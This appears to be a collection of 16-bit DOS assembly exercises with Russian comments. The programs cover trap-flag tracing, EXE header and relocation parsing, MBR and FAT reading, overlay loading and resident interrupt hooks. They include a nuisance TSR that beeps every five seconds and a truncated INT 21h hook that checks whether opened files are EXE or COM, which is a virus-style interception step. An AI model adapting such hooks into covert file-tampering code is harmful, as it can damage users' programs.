mov dx,offset FailMess ; сообщение "Can't load "
int 21h
ret
Tracer: push ax ; сохраняем ах
xor ax,ax ; ах=0
int 16h ; ждем нажатия клавиатуры
pop ax ; восстанавливаем ах
iret
FailMess db "Can't load "
OvName db 'OVERLAY.OVL',0,'$'
OvLocation Label near
Program Ends
End Start
Program Segment para 'Code'
Assume cs:Program,ds:Program
Org 100h
Start: cld
mov cx,MessLen
call Print
Message db 'Ну очень тормозная программа !'
MessLen Equ $-Message
Print: pop si
Back: lodsb
int 29h
loop Back
ret
Program Ends
End Start
text segment 'code'
assume cs:text,ds:text
org 100h
Prog proc far
jmp Begin
Say macro MESSAGE_ADDR
lea dx,MESSAGE_ADDR
mov ah,9
int 21h
endm
mess1 db "1",10,13,"$"
mess2 db "2",10,13,"$"
mess3 db "3",10,13,"$"
mess4 db "4",10,13,"$"
mess5 db "5",10,13,"$"
mess6 db "6",10,13,"$"
mess7 db "7",10,13,"$"
mess8 db "Start Proc1",10,13,"$"
mess9 db "End Proc1",10,13,"$"
Begin:
mov ax,2501h ; Настроить вектор прерывания 01h
mov dx,offset Tracer ; на процедуру Tracer
int 21h ;
call Set_tf
Say mess1
Say mess2
Say mess3
call proc1
call Clr_tf
;********Завершить процесс********
exit:
mov ah,4ch
int 21h
Prog endp
Set_tf proc
pushf ; сохранить регистр флагов
pop ax
or ah,1 ; установить флаг
push ax ; трассировки
popf ; tf=1
ret
Set_tf endp
Clr_tf proc
pushf ; сохранить регистр флагов
pop ax
and ah,0feh ; сбросить флаг
push ax ; трассировки
popf ; tf=0
ret
Clr_tf endp
Tracer proc
push ax ; сохраняем ах
mov ah,08h
int 21h ; ждем нажатия клавиатуры
pop ax ; восстанавливаем ах
iret
Tracer endp
proc1 proc
Say mess8
call Clr_tf
call proc2
call Set_tf
Say mess9
ret
proc1 endp
proc2 proc
Say mess4
Say mess5
Say mess6
Say mess7
ret
proc2 endp
text ends
end Prog
CODESG SEGMENT PARA 'CODE'
ASSUME CS:CODESG,DS:DATASG
BEGIN PROC FAR
mov ax,es:2ch ;адрес среды окружения в PSP
mov es,ax
mov bx,0
start:
mov al,byte ptr es:[bx]
cmp al,0
jne @a1
inc bx
mov al,byte ptr es:[bx]
cmp al,0 ;два нуля-конец окружения
jne @a1
add bx,3 ;2 байта под счетчик
outpath:
mov ah,02h ;вывод символа
mov dl,byte ptr es:[bx]
int 21h
inc bx
mov al,byte ptr es:[bx]
cmp al,0
je exit
jmp outpath
@a1:
inc bx
jmp start
exit:
mov ax,4c01h
int 21h
; RET
BEGIN ENDP
CODESG ENDS
DATASG SEGMENT PARA 'DATA'
DATASG ENDS
END BEGIN
;файл типа .exe
CODESG SEGMENT PARA 'CODE'
ASSUME CS:CODESG,DS:DATASG
BEGIN PROC FAR
mov ax,es:2ch ; адрес окружения в psp
mov es,ax ; es настроить на окружение
mov bx,0
start:
mov al,byte ptr es:[bx]
cmp al,0
jne @a1
inc bx
mov al,byte ptr es:[bx]
cmp al,0
jne @a1
add bx,3
outpath:
mov ah,02h
mov dl,byte ptr es:[bx]
int 21h
inc bx
mov al,byte ptr es:[bx]
cmp al,0
je exit
jmp outpath
@a1:
inc bx
jmp start
exit:
mov ax,4c01h
int 21h
BEGIN ENDP
CODESG ENDS
DATASG SEGMENT PARA 'DATA'
DATASG ENDS
END BEGIN
;файл типа .exe
bufSize = 100
bufRtSize = 0FFFh
Say macro MESSAGE_ADDR
lea dx,&MESSAGE_ADDR
mov ah,9
int 21h
endm
CODESG SEGMENT PARA 'CODE'
ASSUME CS:CODESG,DS:DATASG
BEGIN PROC FAR
PUSH DS
SUB AX,AX
PUSH AX
MOV AX,DATASG
MOV DS,AX
;ОТКРЫТЬ ФАЙЛ НА ЧТЕНИЕ
MOV AH,3DH
MOV AL,0
LEA DX,FN
INT 21H
MOV handle,AX
;УСТАНОВКА УКАЗАТЕЛЯ НА НАЧАЛО Ф-ЛА
MOV AH,42H
MOV AL,00H
MOV BX,handle
MOV CX,0
MOV DX,0
INT 21H
;ЧТЕНИЕ ИЗ Ф-ЛА
MOV AH,3FH
MOV BX,handle
MOV CX,bufSize
MOV DX,OFFSET buf
INT 21H
lea bx,buf
mov ax,[bx+6]
mov ReloCnt,ax
push bx
call vivod
pop bx
mov ax,[bx+18h]
mov ReloOff,ax
push bx
call vivod
mov ax,ReloCnt
mov bx,2
mul bx
mov ReloSize,ax
pop bx
;УСТАНОВКА УКАЗАТЕЛЯ НА НАЧАЛО RT
MOV AH,42H
MOV AL,00H
MOV BX,handle
MOV CX,0
MOV DX,ReloOff
INT 21H
;ЧТЕНИЕ RT ИЗ Ф-ЛА
mov ax,ReloSize
mov bx,2
mul bx
MOV CX,AX
MOV AH,3FH
MOV BX,handle
MOV DX,OFFSET bufRt
INT 21H
;ЗАКРЫТЬ ФАЙЛ
MOV AH,3EH
MOV BX,handle
INT 21H
lea bx,bufRt
mov di,0
outRt:
push bx
Say mess1
mov ax,[bx+di]
call vivod
pop bx
inc di
push bx
Say mess2
mov ax,[bx+di]
call vivod
pop bx
dec ReloCnt
inc di
cmp ReloCnt,0
jne outRt
exit:
mov ax,4c01h
int 21h
BEGIN ENDP
VIVOD proc near
;ПРОЦЕДУРА ВЫВОДА НА ЭКРАН ЦЕЛОГО ЧИСЛА В РЕГИСТРЕ AX
mov @,0h
xor dx,dx
mov bx,10
C3:
div bx
push dx
sub dx,dx
inc @
cmp ax,0
jne C3
mov cx,word ptr @
mov ch,0h
C4:
pop dx
add dl,30h
mov ah,02h
int 21h
loop C4
mov dl,0ah
mov ah,02h
int 21h
mov dl,0dh
mov ah,02h
int 21h
RET
VIVOD endp
CODESG ENDS
DATASG SEGMENT PARA 'DATA'
fn db 'rt.exe',0
handle dw ? ;дескриптор файла
buf db bufSize DUP(' ') ;область размещения первых байт заголовка файла
bufRt db bufRtSize DUP(' ') ;область размещения Relocation Table
ReloCnt dw 0 ;число 4-байтовых элементов в таблице перенастроики
ReloOff dw 0 ;смещение таблицы перенастроики
ReloSize dw 0 ;размер Relocation Table в словах (2 байта)
@ dw 00h
mess1 db "I_off: ","$"
mess2 db "I_seg: ","$"
DATASG ENDS
END BEGIN
;файл типа .exe
;ProgSize = (PageCnt-1)*512 + PartPage - HdrSize*16
bufSize = 100
CODESG SEGMENT PARA 'CODE'
ASSUME CS:CODESG,DS:DATASG
BEGIN PROC FAR
PUSH DS
SUB AX,AX
PUSH AX
MOV AX,DATASG
MOV DS,AX
;ОТКРЫТЬ ФАЙЛ НА ЧТЕНИЕ
MOV AH,3DH
MOV AL,0
LEA DX,FN
INT 21H
MOV handle,AX
;УСТАНОВКА КУРСОРА НА НАЧАЛО Ф-ЛА
MOV AH,42H
MOV AL,00H
MOV BX,handle
MOV CX,0
MOV DX,0
INT 21H
;ЧТЕНИЕ ИЗ Ф-ЛА
MOV AH,3FH
MOV BX,handle
MOV CX,bufSize
MOV DX,OFFSET buf
INT 21H
;ЗАКРЫТЬ ФАЙЛ
MOV AH,3EH
MOV BX,handle
INT 21H
lea bx,buf
mov ax,[bx+2]
mov PartPage,ax
push bx
call vivod
pop bx
mov ax,[bx+4]
mov PageCnt,ax
push bx
call vivod
pop bx
mov ax,[bx+8]
mov HdrSize,ax
push bx
call vivod
pop bx
;РАСЧЕТ РАЗМЕРА ЗАГРУЖАЕМОЙ ЧАСТИ
;ProgSize = (PageCnt-1)*512 + PartPage - HdrSize*16
mov ax,PageCnt
dec ax
mov bx,512
mul bx
;--------------------------------------
add ax,PartPage
mov ProgSize,ax
mov ax,HdrSize
mov bx,16
mul bx
;--------------------------------------
sub ProgSize,ax
mov ax,ProgSize
call vivod
exit:
mov ax,4c01h
int 21h
BEGIN ENDP
VIVOD proc near
;ПРОЦЕДУРА ВЫВОДА НА ЭКРАН ЦЕЛОГО ЧИСЛА В РЕГИСТРЕ AX
mov @,0h
xor dx,dx
mov bx,10
C3:
div bx
push dx
sub dx,dx
inc @
cmp ax,0
jne C3
mov cx,word ptr @
mov ch,0h
C4:
pop dx
add dl,30h
mov ah,02h
int 21h
loop C4
mov dl,0ah
mov ah,02h
int 21h
mov dl,0dh
mov ah,02h
int 21h
RET
VIVOD endp
CODESG ENDS
DATASG SEGMENT PARA 'DATA'
fn db 'prg_size.exe',0
handle dw ? ;дескриптор файла
buf db bufSize DUP(' ') ;область размещения первых байт заголовка файла
PageCnt dw 0 ;длина загружаемой части в страницах, включая заголовок
PartPage dw 0 ;длина последней неполной страницы
HdrSize dw 0 ;размер заголовка в параграфах
ProgSize dw 0
@ dw 00h
DATASG ENDS
END BEGIN
;файл типа .exe
Переменная объявляется в autoexec.bat
;командой SET WORK = TEST.EXE
Say macro MESSAGE_ADDR
lea dx,&MESSAGE_ADDR
mov ah,9
int 21h
endm
CODESG SEGMENT PARA 'CODE'
ASSUME CS:CODESG,DS:DATASG
BEGIN PROC FAR
PUSH DS
SUB AX,AX
PUSH AX
MOV AX,DATASG
MOV DS,AX
;Программа .exe занимает всю память. Освободим ее.
mov ax,DATASG
mov ds,ax
mov ax,zz
mov dx,es
sub ax,dx
mov bx,ax
mov ah,4ah
int 21h
mov ax,es:2ch ; адрес окружения в psp
mov es,ax ; es настроить на окружение
;Найдем в окружении строку 'WORK='
;Сравним переменную в окружении с нашей
mov bx,0
cld ;поиск вперед
compr:
mov cx,len ;длина нашей переменной
mov si,offset envVar
mov di,bx ;es:di -> начало строки
repe cmpsb ;сравнение
je gotit ;нашли нашу переменную
;Переменная не совпадает с нашей. Будем искать следующую.
;Сначала найдем 0, т.е. конец строки вида переменная = значение.
tstnul:
cmp byte ptr es:[bx],0
je gotnul ;нашли 0
inc bx
jmp tstnul
;Определим, нет ли после этого второго 0 - конца всего окружения
gotnul:
inc bx
cmp byte ptr es:[bx],0 ;Это 0?
jne compr ;Нет, на сравнение следующей переменной.
;Нашли второй 0 - конец окружения
;Нужная переменная окружения отсутствует.
Say mess1
jmp exit
gotit:
mov bx,-1
noteend:
inc bx
cmp byte ptr es:[di][bx],0
jne noteend
;В ВХ длина значения переменной окружения
mov cx,bx
;Взаимообмен содержимого сегментных регистров
push es
push ds
pop es
pop ds
;DS:SI -> имя файла в окружении
;ES:DI -> место для имени файла в программе
mov si,di
mov di,offset es:fname
rep movsb
;Восстановим адресацию
push es
pop ds
;Запуск дочернего процесса
mov ax,DATASG
mov es,ax
mov ah,4bh
mov al,0
mov dx,offset fName
int 21h
; Say fName
exit:
mov ax,4c01h
int 21h
BEGIN ENDP
CODESG ENDS
DATASG SEGMENT PARA 'DATA'
envVar db 'WORK='
len = $-envVar
mess1 db "Переменная окружения отсутствует!",10,13,"$"
fName db 80 dup(0)
DATASG ENDS
ZZ SEGMENT 'endseg'
zz ENDS
END BEGIN
include macromax.h
ini_st
s_date segment para public'date'
dat_fun
adrpsp dw ?
temp1 db 'TEMP1=',0
Param db 'C:\OBERMAN.MAX\TASMED\OVER_N1.EXE',0
PB dw 0
dw 0
dt 0
s_date ends
s_code segment para public'code'
main proc far
begin
mov ax,ss
sub ax,16
mov es,ax
mov adrpsp,ax
mov es,es:[2Ch]
mov cx,1000
mov di,0
rt1: mov al,es:[di]
cmp al,1
je eret
inc di
loop rt1
eret:
mov bx,es
mov es,adrpsp
cmp es:[80h],byte ptr 0
je notemp
mov es,bx
mov si,0
mov cx,6
; добавить 'TEMP1='
totmp: mov al,temp1[si]
mov es:[di],al
inc si
inc di
loop totmp
; добавить командную строку - имя файла оверлея.
mov es,adrpsp
mov si,80h
mov cl,es:[si]
dec cl
xor ch,ch
mov si,81h
topsp: mov es,adrpsp
mov al,es:[si]
mov es,bx
mov es:[di],al
inc si
inc di
loop topsp
mov al,1
mov es:[di],al
notemp:
; освободить память под дочерний процес
mov bx,zzz
mov es,adrpsp
mov ax,es
sub bx,ax
mov ah,4Ah
int 21h
; загрузить оверлей
mov ax,zzz
mov PB,ax
lea dx,Param
mov ax,ds ; es:bx <- Parametr Block
mov es,ax
lea bx,PB
mov ax,4B00h
int 21h
retf
endp
s_code ends
zzz segment para
zzz ends
end main
include user.inc
.com 16
org 100
begin:
cld
xor cx,cx
inc cx
mov dh,ch
;считать MBR
call read_pt
jc bad
mov bp,off header
call print
mov di,bp
push di
mov al,' '
mov cl,len_header-3
rep stosb
pop di
mov cl,4
;обработать его 4 записи
cycle1:
call load
lodsb
or al,al
jz not_used
cmp al,5
jne normal
inc extern
push dx
push bx
mov bp,off externl
call print
normal:
push di
call set_hcs
pop di
mov bp,di
call print
add si,+0C
loop cycle1
not_used:
mov cl,extern
and cl,0f
or cx,cx
jz no_thing
next_ext:
;обработать расширенный раздел ДОС
pop bx
pop dx
push cx
smbr:
mov cx,bx
;загрузить SMBR
call read_pt
jc bad
call load
mov bp,off extern
call print
push di
call set_hcs
pop di
mov bp,di
call print
call load
;есть ли следующий логический диск
or al,al
jnz smbr
pop cx
loop next_ext
no_thing:
ret
bad:
call print
mov ax,4c00
int 21
read_pt proc
mov bp,off read_e
mov ax,0201
mov bx,off buf_sec
mov dl,80
int 13
jc error
add bx,1bf
mov si,bx
error:
ret
endp
set_hcs proc
xor ax,ax
mov al,dh
call word_s
scasw
scasw
push bx
mov ax,bx
push cx
mov cl,6
shr al,cl
xchg ah,al
pop cx
call word_s
scasw
scasw
scasb
pop ax
and ax,03f
call word_s
ret
endp
word_s proc
;распечатать содержимое АХ
push cx
mov cx,0404
LLL: rol ax,cl
push ax
and al,0F
aam
aad
org $-1
db 11
add al,30
stosb
pop ax
dec ch
jnz LLL
pop cx
ret
endp
print proc
mov dx,bp
mov ah,9
int 21
ret
endp
load proc
lodsb
mov dh,al
lodsw
mov bx,ax
ret
endp
header db 'BHead BCylinder BSector',eos
len_header = $-off header
externl db 'External Part N'
extern db 30
endl db eos
read_e db 'Error of disk reading',eos
buf_sec = $-begin+100
end begin
user.inc
return equ org $-1
eos equ 10d,13d,'$'
bpt equ byte ptr
wpt equ word ptr
off equ offset
jmps equ jmp short
jmps2 equ jmps $+2
.com macro abac
.model tiny
.code
ife abac eq 0
.radix abac
endif
endm
text segment 'code'
assume cs:text,ds:text
org 100h
resid proc far
jmp init
n dw 0
delay equ 100 ;5 seconds
PORT_B EQU 61H
NUM_CES EQU 1000
FREQ EQU 2000
entry:
push ax
push bx
inc n
mov ax,n
cmp ax,delay
jng quit
mov n,0
cli
mov dx,num_ces
in al,PORT_B
and al,11111110b
next_cle:
or al,00000010b
out PORT_B,al
mov cx,FREQ
fir_half:
loop fir_half
and al,11111101b
out PORT_B,al
mov cx,FREQ
sec_half:
loop sec_half
dec dx
jnz next_cle
sti
quit:
pop bx
pop ax
iret
resid endp
ressize equ $-resid
init proc
push cs
pop ds
lea dx,mes1
mov ah,9
int 21h
lea dx,entry
mov ax,251Ch
int 21h
mov dx,(ressize+10fh)/16
mov ax,3100h
int 21h
init endp
mes1 db '(C)Действовалка на нервы by я ',10,13
db 'Теперь будем бибикать через каждые 5 секунд...',10,13,'$'
text ends
end resid
;номер сектора должен вводиться в hex формате
bufLen = 9*256
catLen = (32*224)
Say macro MESSAGE_ADDR
lea dx,&MESSAGE_ADDR
mov ah,9
int 21h
endm
text segment 'CODE'
assume cs:text,ds:data
MAIN PROC far
PUSH DS
SUB AX,AX
PUSH AX
MOV AX,DATA
MOV DS,AX
;определить длину строки параметров
mov al,byte ptr es:[80h]
mov parmLen,al
cmp al,0
jne Work
Say mess0
jmp exit
Work:
;выбрать из строки параметров номер сектора
call ConvertToHex
mov ax,ReadCluster
call vivod
;прочитать FAT в буфер
call ReadFat
;прочитать корневой каталог в буфер
call ReadCat
;поиск файла в корневом каталоге
call SearchFile
;вычисление относительного номера сектора
mov ax,CurCluster
add ax,31
add CurSector,ax
call vivod
mov ax,CurCluster
call vivod
;если задан первый сектор файла, то сразу читать его
mov cx,ReadCluster
cmp cx,1
je @a1
;иначе, отследить по FAT положение сектора файла
start:
call GetFatElement
loop start
@a1:
;один сектор на кластер
;получить сектор
call GetFileCluster
;вывести сектор
call OutFileCluster
;*******завершить процесс********
exit:
mov ah,4ch
int 21h
MAIN ENDP
;поиск файла в корневом каталоге для определения стартового кластера
SearchFile PROC
mov ax,SEG fName
mov ds,ax
mov ax,SEG catBuf
mov es,ax
mov bx,0
mov @,224
cld
;сравниваем имя файла
compr1:
mov cx,lenFn
mov si,offset fName
mov di,offset catBuf
add di,bx
repe cmpsb
je compr2
add bx,32
dec @
cmp @,0
jne compr1
jmp nofile
;сравниваем расширение файла
compr2:
mov cx,lenFe
mov si,offset fExt
mov di,offset catBuf
add di,bx
add di,08h
repe cmpsb
je file
add bx,32
jmp compr1
file:
Say mess1
add bx,1ah
;прочитать номер стартового кластера файла
mov al,catBuf[bx]
mov ah,catBuf[bx+1]
mov CurCluster,ax
ret
;файл не найден
nofile:
Say mess2
ret
SearchFile ENDP
;принимает в CurCluster номер кластера файла
GetFatElement PROC ;возвращает в CurCluster содержимое поля FAT
push cx
mov bx,offset fatBuf ;т.е. номер следующего элемента FAT
mov ax,CurCluster
shl ax,1 ;кластер * 2
add ax,CurCluster ;кластер * 3
test ax,1
pushf
shr ax,1 ;кластер * 1.5
add bx,ax
mov ax,[bx]
popf
jz B1
mov cl,4 ;произведение - дробное число
shr ax,cl
jmp B2
B1: and ax,0fffh ;произведение - целое число
B2: mov CurCluster,ax
mov CurSector,ax
add CurSector,31
pop cx
ret
GetFatElement ENDP
;читает сектор файла в filebuf
GetFileCluster PROC
MOV AL,00h ;номер дисковода
MOV AH,00H
MOV CX,01H ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ
MOV DX,CurSector ;НОМЕР СЕКТОРА
MOV BX,SEG filebuf
MOV DS,BX
mov BX,offset filebuf
INT 25H
popf
ret
GetFileCluster ENDP
;выводит сектор файла из filebuf на экран
OutFileCluster PROC
MOV AH,40H ;Функция вывода на экран
MOV BX,01 ;Номер устройства
MOV CX,512 ;Длина
LEA DX,filebuf
INT 21H
ret
OutFileCluster ENDP
;читает FAT в fatBuf
ReadFat PROC
MOV AL,00h ;номер дисковода
MOV AH,00H
MOV CX,09H ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ
MOV DX,01h ;НОМЕР ПЕРВОГО СЕКТОРА
MOV BX,SEG fatBuf
MOV DS,BX
mov BX,offset fatBuf
INT 25H ;прочитать FAT в buf
popf
ret
ReadFat ENDP
;читает корневой каталог в catBuf
ReadCat PROC
MOV AL,00h ;номер дисковода
MOV AH,00H
MOV CX,0EH ;ЧИСЛО СЕКТОРОВ ДЛЯ ЧТЕНИЯ
MOV DX,19 ;НОМЕР ПЕРВОГО СЕКТОРА
MOV BX,SEG catBuf
MOV DS,BX
mov BX,offset catBuf
INT 25H
popf
ret
ReadCat ENDP
;пропускает стартовые пробелы строки параметров
SkipSpace proc near
NextSpace:
cmp byte ptr [si],' '
jne Cont
inc si
dec parmLen
jmp NextSpace
Cont:
ret
SkipSpace endp
;Преобразование числа в строке параметров в hex формат
ConvertToHex proc
mov si,81h
inc si ;Настроить si на первый символ командной строки
dec parmLen
call SkipSpace
xor cx,cx
mov cl,parmLen
xor ax,ax
convert:
push cx
mov al,es:[si]
CMP AL,39H
JBE B
SUB AL,7H
B:
SUB AL,30H
XOR AH,AH
MOV CL,4
SHL ReadCluster,CL
ADD ReadCluster,AX
pop cx
inc si
loop convert
ret
ConvertToHex endp
VIVOD proc near
;ПРОЦЕДУРА ВЫВОДА НА ЭКРАН ЦЕЛОГО ЧИСЛА В РЕГИСТРЕ AX
;ВЫВОД ОСУЩЕСТВЛЯЕТСЯ В ДЕСЯТИЧНОМ ФОРМАТЕ
mov @,0h
xor dx,dx
mov bx,10
C3:
div bx
push dx
sub dx,dx
inc @
cmp ax,0
jne C3
mov cx,word ptr @
mov ch,0h
C4:
pop dx
add dl,30h
mov ah,02h
int 21h
loop C4
mov dl,' '
mov ah,02h
int 21h
RET
VIVOD endp
text ends
data segment
@ dw 00h
fatBuf dw bufLen DUP(0) ;Область размещения FAT
catBuf db catLen DUP(0) ;Область размещения корневого каталога
filebuf db 512 dup(0) ;область ввода кластеров файла
fName db 'README'
lenFn = $-fName
; fName db 'RT'
; lenFn = $-fName
fExt db 'TXT'
lenFe = $-fExt
; fExt db 'ASM'
; lenFe = $-fExt
CurCluster dw ?
ReadCluster dw 0
CurSector dw ?
parmLen db ?
mess0 db "Укажите номер сектора файла в шестнадцатиричном формате!",10,13,"$"
mess1 db "Файл найден!",10,13,"$"
mess2 db "Файл не найден!",10,13,"$"
data ends
end
;
ideal
jumps
p286
model tiny,pascal
codeseg
startupcode
mov ax, 3501h ; получить адрес 1го вектора
int 21h
mov [word ptr old_int_01h], bx ; запомнить его
mov bx, es
mov [word ptr old_int_01h + 2], bx
mov ah, 25h ; загрузить новое значение
push cs ; установка ds
pop ds
mov dx, offset my_trace
int 21h
pushf ; запоминание флагов без трассировки
push cs ; сегмент для far call
pushf ; текущие значения флагов
pop ax ; в ax
or ax, 0000000100000000b ; включить бит трассировки
push ax
popf ; включить трассировку
call _test ; вызвать процедуру
mov bx, [word ptr old_int_01h + 2] ; востановить старый вектор
mov es, dx
mov bx, [word ptr old_int_01h]
mov ax, 2501h ; загрузка адреса 1го вектора
int 21h
ret ; выход
proc _test
mov cx, 10h ; повторить 10 раз
@@m_1:
mov ax, 0E2Ah ; выводим символ '-'
int 10h
pushf ; сохраняем трассируемые флаги
push cs ; для far call
pushf
pop ax
and ax, 1111111011111111b ; запрет трассировки
push ax
popf
call _test_2 ; вызов подпроцедуры
loop @@m_1
iret ; iret для автоматического востановления флагов при выходе
endp _test
proc _test_2
inc dx ; просто увеличить dx
iret ; возврат с востановлением флагов
endp _test_2
proc my_trace far
push ax bx
mov ax, 0E2Dh ; вывести на экран '*'
xor bx, bx ; нулевая страница
int 10h
pop bx ax
iret ; выход из обработчика
endp my_trace
udataseg
old_int_01h dd ? ; старый обработчик
end
ideal
jumps
p286
model small,pascal
codeseg
startupcode
push ds es ; сохранить ds, es
mov ah, 62h ; получить PSP текущего процесса
int 21h
mov ds, bx ; в bx сегмент PSP
mov ax, [word ptr 2Ch] ; сегмент окружения
xor di, di ; с начала сегмента
mov es, ax
cld ; сброс направления
mov cx, 0FFFFh ; до конца
mov ax, 0100h ; искать два байта 00 и 01
repnz scasw
inc di
mov dx, di
push es ; настройка ds на окружение
pop ds
mov ax, 3D00h ; открыть файл для чтения
int 21h
jc @@exit ; при ошибке
pop es ds
mov [handle], ax ; запомнить хендл
xchg bx, ax ; запись его в ax
mov ah, 3Fh ; читать из файла
mov cx, 1Ch ; размер заголовка EXE
mov dx, seg buffer ; куда писать?
mov ds, dx
mov dx, offset buffer
int 21h
jc @@exit ; при ошибке
mov dx, [buffer + 18h] ; смещение RT от начала файла
sub dx, 1Ch ; уже прочитали 1Ch
mov ax, 4201h ; перемещение указателя от текущей позиции
xor cx, cx ; старшее слово смещения
int 21h
jc @@exit
mov cx, [buffer + 06h] ; число записей в RT
shl cx, 2 ; word -> byte
mov ah, 3Fh ; читать
mov dx, offset buffer2 ; в буфер #2
int 21h
jc @@exit
shr cx, 2 ; byte -> word
mov al, 01h ; номер по счету
mov bx, offset buffer2
@@_1:
call prn_byte ; печать номера
push ax ; сохраним
mov ax, 0E20h ; печать пробела
int 10h
call prn_dword ; печать двух слов
pop ax
add bx, 4 ; указатель на два слова дальше
inc al ; счетчик++
loop @@_1
@@exit:
mov bx, [handle] ; закрыть файл
mov ah, 3Eh
int 21h
mov ax, 4C00h ; выход в дос с errorlevel 0
int 21h
proc prn_byte
push ax bx ax
shr al, 4 ; начинаем со старшей тетрады
add al, '0' ; перевод в ascii
cmp al, '9' ; число или буква?
jle @@prn ; число -- печатаем
add al, 'A' - '0' - 10 ; корректировка буквы
@@prn:
mov ah, 0Eh ; печать символа
xor bx, bx
int 10h
pop ax ; востанавливаем ax
and ax, 0Fh ; младшая тетрада
add al, '0'
cmp al, '9'
jle @@prn2
add al, 'A' - '0' - 10
@@prn2:
mov ah, 0Eh
xor bx, bx
int 10h
pop bx ax
ret
endp prn_byte
proc prn_dword
push ax bx
mov ax, [word ptr bx] ; первое слово
xchg al, ah ; пачать со старшего байта
call prn_byte
xchg al, ah ; младший байт
call prn_byte
mov ax, 0E20h ; пробел
push bx
xor bx, bx
int 10h
pop bx
mov ax, [word ptr bx + 2] ; второе слово
xchg al, ah
call prn_byte
xchg al, ah
call prn_byte
mov ax, 0E20h
xor bx, bx
int 10h
mov al, 10 ; перевод строки
int 10h
mov al, 13
int 10h
pop bx ax
ret
endp prn_dword
udataseg
handle dw ? ; хендл файла
buffer dw 14 dup(?)
buffer2 dd 4096 dup(?)
stack 1000h
end
ideal
jumps
p286
model tiny,pascal
codeseg
startupcode
mov al, [byte ptr 82h] ; первый символ командной строки
cmp al, '1' ; при параметре 1 -- пикнуть один раз
jz @@_1
cmp al, '2' ; при параметре 2 -- пикнуть два раза
jz @@_2
ret
@@_1:
mov ax, 0E07h
int 10h
ret
@@_2:
mov ax, 0E07h
int 10h
int 10h
ret
end
ideal
jumps
p286
model tiny,pascal
stack_size equ 100h
codeseg
startupcode
mov bx, (offset prog_end + stack_size) ; корректировка стека
and bx, 1111111111111110b ; четное значение
mov sp, bx
mov ah, 4ah ; изменить размер памяти отведенный программе
mov bx, (offset prog_end + 15 + stack_size)
shr bx, 4 ; в параграфах
int 21h
mov ax, [2Ch] ; окружение
mov es, ax
xor di, di
@@next:
mov cx, 0FFFFh
cld
xor al, al
repnz scasb ; конец строки
jne @@exit
cmp [byte ptr es:di + 1], 00h ; конец окружения?
jz @@exit ; выход
mov si, offset env_const ; искать строку
mov cx, 6 ; ее длина
repz cmpsb
or cx, cx ; всю нашли?
jnz @@next
dec di
call exec
@@exit:
int 20h
proc exec near
push es
mov ax, 4b00h ; выполнить программу
mov dx, cs
mov [word ptr p_block+4], dx ; загрузка параметров call block'а
mov dx, di
mov bx, offset p_block
pop ds ; ds:ds -- имя программы
int 21h
push cs
pop ds
ret
endp exec
env_const db 'AAA1=' ; какйю переменную используем
p_block dw 0
dw offset cmd_line
dw ?
dd 0, 0
cmd_line db 0,13 ; пустая командная строка
label prog_end word
end
ideal
jumps
p286
model tiny,pascal
stack_size equ 100h
codeseg
startupcode
mov bx, (offset prog_end + stack_size) ; установка стека
and bx, 1111111111111110b ; четное значение
mov sp, bx
mov ah, 4ah ; изменить размер блока памяти
mov bx, (offset prog_end + 15 + stack_size)
shr bx, 4 ; параграфы
int 21h
mov ah, 48h ; выделить блок
mov bx, 10h ; размером 256 байт
int 21h
jc @@_exit
mov [call_block], ax ; точка входа (сегмент)
mov [word ptr new_prog + 2], ax
mov ax, 4B03h ; загрузить но не выполнять
mov dx, offset prg_name
mov bx, offset call_block
int 21h
mov ax, [call_block]
mov es, ax
mov ax, [word ptr es:0] ; первое слово -- смещение входа
mov [word ptr new_prog], ax
call [dword ptr new_prog] ; вызвать оверлей
mov ax, [call_block]
mov es, ax
mov ah, 49h ; освободить память
int 21h
@@_exit:
int 20h
dataseg
new_prog dd 0
prg_name db '2.bin',0
call_block dw 0
dw 0
udataseg
label prog_end word
end
ideal
jumps
p286
model tiny,pascal
codeseg
startupcode
jmp load
proc new_int_23h far
push ax bx
mov ax, 0e07h ; пикнуть
xor bx, bx
int 10h
pop bx ax
jmp [dword ptr cs:old_int_23h] ; и выйти через старый обработчик
endp new_int_23h
old_int_23h dd 0 ; старый вектор
load:
mov ax, 3523h ; получить вектор
int 21h
mov [word ptr old_int_23h], bx
mov [word ptr old_int_23h+2],es
mov ah, 25h ; установить свой
mov dx, offset new_int_23h
int 21h
mov ah, 01h ; ждать нажатия клавиши (с реакцией на ctrl-break, ctrl-c)
int 21h
int 20h
end
ideal
jumps
p286
model tiny,pascal
codeseg
startupcode
jmp load
proc new_int_16h far
push ax
mov ax, 0E07h ; пикнуть
int 10h
pop ax
jmp [dword ptr cs:old_int_16h] ; на старый вектор
endp new_int_16h
proc new_int_2Fh far
cmp ax, 0F104h ; волшебное слово
jnz next
mov al, 0FFh ; мы уже здесь
next:
jmp [dword ptr cs:old_int_2Fh] ; старый воктор
endp new_int_2Fh
old_int_16h dd 0
old_int_2Fh dd 0
load:
mov ax, 0F104h
int 2Fh ; мы здесь?
cmp al, 0FFh ; да -- выход
jz already
mov ax, 3516h ; сохранение старого вектора
int 21h
mov [word ptr old_int_16h], bx
mov [word ptr old_int_16h + 2], es
mov ax, 352Fh ; сохранение старого вектора
int 21h
mov [word ptr old_int_2Fh], bx
mov [word ptr old_int_2Fh + 2], es
mov ax, 2516h ; загрузка нового
mov dx, offset new_int_16h
int 21h
mov ax, 252Fh ; загрузка нового
mov dx, offset new_int_2Fh
int 21h
mov ah, 49h ; окружение не нужно
mov es, [word ptr 2Ch]
int 21h
mov dx, offset load
int 27h ; остаться в памяти
already:
mov ah, 09h
mov dx, offset already_str
int 21h
int 20h
dataseg
already_str db '12 already instaled!', 10, 13, '$'
end
ideal
jumps
p286
model tiny,pascal
codeseg
startupcode
jmp load
proc new_int_21h far
cmp ah, 3Dh ; открыть
jz @@open
cmp ah, 40h ; писать
jz @@write
cmp ah, 3Eh ; закрыть
jz @@close
@@_4:
jmp [dword ptr cs:old_int_21h] ; старый вектор
@@open:
push ax bx
mov bx, dx
@@_1:
mov al, [byte ptr bx]
inc bx
or al, al
jnz @@_1 ; поиск конца имени файла
cmp [word ptr bx - 3], 4558h ; EXE ; он exe?
jnz @@_2
cmp [byte ptr bx - 4], 45h
jnz @@_2 ; нет -- уходим
jmp @@_5 ; да
@@_2:
cmp [word ptr bx - 3], 4D4Fh ; COM ; com?
jnz @@_3
cmp [byte ptr bx - 4], 43h
jnz @@_3 ; нет -- уходим
@@_5:
pop bx ax
pushf
